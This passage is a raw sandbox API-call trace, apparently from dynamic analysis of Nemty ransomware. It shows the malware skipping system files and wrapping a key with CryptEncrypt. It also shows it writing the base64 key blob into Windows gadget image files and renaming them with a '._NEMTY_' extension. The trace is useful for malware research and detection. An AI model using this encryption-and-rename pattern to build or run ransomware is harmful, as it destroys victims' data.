(lpString1="docked_black_few-showers.png", lpString2="desktop.ini") returned 1 [0160.157] lstrcmpiW (lpString1="docked_black_few-showers.png", lpString2="CONFIG.SYS") returned 1 [0160.157] lstrcmpiW (lpString1="docked_black_few-showers.png", lpString2="RECYCLER") returned -1 [0160.157] lstrcmpiW (lpString1="docked_black_few-showers.png", lpString2="BOOTSECT.BAK") returned 1 [0160.157] lstrcmpiW (lpString1="docked_black_few-showers.png", lpString2="bootmgr") returned 1 [0160.157] lstrcmpiW (lpString1="docked_black_few-showers.png", lpString2="programdata") returned -1 [0160.157] lstrcmpiW (lpString1="docked_black_few-showers.png", lpString2="appdata") returned 1 [0160.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0160.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_few-showers.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0160.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0160.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_few-showers.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_few-showers.png", lpUsedDefaultChar=0x0) returned 28 [0160.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0160.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0160.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_few-showers.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0160.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0160.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_few-showers.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_few-showers.png", lpUsedDefaultChar=0x0) returned 28 [0160.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0160.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0160.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0160.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0160.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_few-showers.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0160.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0160.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_few-showers.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_few-showers.png", lpUsedDefaultChar=0x0) returned 28 [0160.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0160.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0160.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_few-showers.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0160.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0160.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_few-showers.png", cchWideChar=28, lpMultiByteStr=0x4f9ed58, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_few-showers.png", lpUsedDefaultChar=0x0) returned 28 [0160.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0160.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0160.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0160.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400d0 [0160.157] Sleep (dwMilliseconds=0x5) [0160.163] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x131c89d0, dwHighDateTime=0x1d561e8)) [0160.163] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x131c89d0, dwHighDateTime=0x1d561e8)) [0160.163] GetLastError () returned 0x5 [0160.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0160.163] GetLastError () returned 0x5 [0160.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0160.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0160.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0160.163] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0160.163] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0160.164] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0160.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340308 [0160.164] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340308, pcchString=0x653e91c | out: pszString="nm0o5pGi5urGKkzCe+rG6cQ7z9hp8krYcaOqV9sz//ADwzR3nwfiqyg33MaOUSL9\r\n0IEZ3jyrIGqg6X+Vh7VrW0KhAHap7H3a1AKIkpGvT3Ub+qSoE7L/MbIqhXqmacBM\r\nJmzsEBuRR8P9h7KemGpqye5lG2zlidVaiYCISD/QAzIMk+c1tDNZ2s7VGS27xcjK\r\nl3w7Wo6hIESWVHSBbxgwIqw8ZzHrSykCzDtD7jK7sNDdM0LsawPaXBkNVQ3SRjb5\r\n0pI+Erx4zVVQUauqye5nxsWnlsMjAtxksC95kIWOuB1lojOmRAf6SwqTRFxPxf0o\r\ntql3zxBEJ/q/442fYbzyRw==\r\n", pcchString=0x653e91c) returned 1 [0160.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0160.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0160.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0160.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0160.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340308 [0160.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0160.164] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_few-showers.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_few-showers.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0160.164] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0160.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0160.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.164] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.173] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.173] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.173] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.173] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.183] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.183] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.192] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.192] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.202] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.202] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.212] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.212] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.221] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.221] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.221] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.221] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.230] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.230] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.230] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.240] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.240] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.240] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.240] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.249] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.249] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.249] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.259] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.259] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.265] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.265] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0160.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.271] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0160.271] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340308, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0160.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0160.271] CloseHandle (hObject=0xffffffff) returned 0 [0160.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340478 [0160.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0160.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0160.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0160.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0160.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0160.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0160.271] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0160.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0160.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0160.271] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_few-showers.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_few-showers.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\docked_black_few-showers.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\docked_black_few-showers.png._nemty_kgobjgd_")) returned 0 [0160.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0160.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0160.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0160.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0160.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0160.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0160.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0160.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0160.271] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0160.272] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0160.272] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870fc289, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870fc289, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2b012611, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2930, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="docked_black_foggy.png", cAlternateFileName="")) returned 1 [0160.273] lstrcmpiW (lpString1="docked_black_foggy.png", lpString2=".") returned 1 [0160.273] lstrcmpiW (lpString1="docked_black_foggy.png", lpString2="..") returned 1 [0160.273] lstrcmpiW (lpString1="docked_black_foggy.png", lpString2="...") returned 1 [0160.273] lstrcmpiW (lpString1="docked_black_foggy.png", lpString2="windows") returned -1 [0160.273] lstrcmpiW (lpString1="docked_black_foggy.png", lpString2="$RECYCLE.BIN") returned 1 [0160.273] lstrcmpiW (lpString1="docked_black_foggy.png", lpString2="rsa") returned -1 [0160.273] lstrcmpiW (lpString1="docked_black_foggy.png", lpString2="NTDETECT.COM") returned -1 [0160.273] lstrcmpiW (lpString1="docked_black_foggy.png", lpString2="ntldr") returned -1 [0160.273] lstrcmpiW (lpString1="docked_black_foggy.png", lpString2="MSDOS.SYS") returned -1 [0160.273] lstrcmpiW (lpString1="docked_black_foggy.png", lpString2="IO.SYS") returned -1 [0160.273] lstrcmpiW (lpString1="docked_black_foggy.png", lpString2="boot.ini") returned 1 [0160.273] lstrcmpiW (lpString1="docked_black_foggy.png", lpString2="boot.ini") returned 1 [0160.273] lstrcmpiW (lpString1="docked_black_foggy.png", lpString2="AUTOEXEC.BAT") returned 1 [0160.273] lstrcmpiW (lpString1="docked_black_foggy.png", lpString2="ntuser.dat") returned -1 [0160.273] lstrcmpiW (lpString1="docked_black_foggy.png", lpString2="desktop.ini") returned 1 [0160.273] lstrcmpiW (lpString1="docked_black_foggy.png", lpString2="CONFIG.SYS") returned 1 [0160.273] lstrcmpiW (lpString1="docked_black_foggy.png", lpString2="RECYCLER") returned -1 [0160.273] lstrcmpiW (lpString1="docked_black_foggy.png", lpString2="BOOTSECT.BAK") returned 1 [0160.273] lstrcmpiW (lpString1="docked_black_foggy.png", lpString2="bootmgr") returned 1 [0160.273] lstrcmpiW (lpString1="docked_black_foggy.png", lpString2="programdata") returned -1 [0160.273] lstrcmpiW (lpString1="docked_black_foggy.png", lpString2="appdata") returned 1 [0160.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0160.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_foggy.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0160.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0160.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_foggy.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_foggy.png", lpUsedDefaultChar=0x0) returned 22 [0160.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0160.273] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0160.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_foggy.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0160.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0160.274] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="docked_black_foggy.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="docked_black_foggy.png", lpUsedDefaultChar=0x0) returned 22 [0160.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0160.274] HeapFree (in: hHeap=0x4f90000, 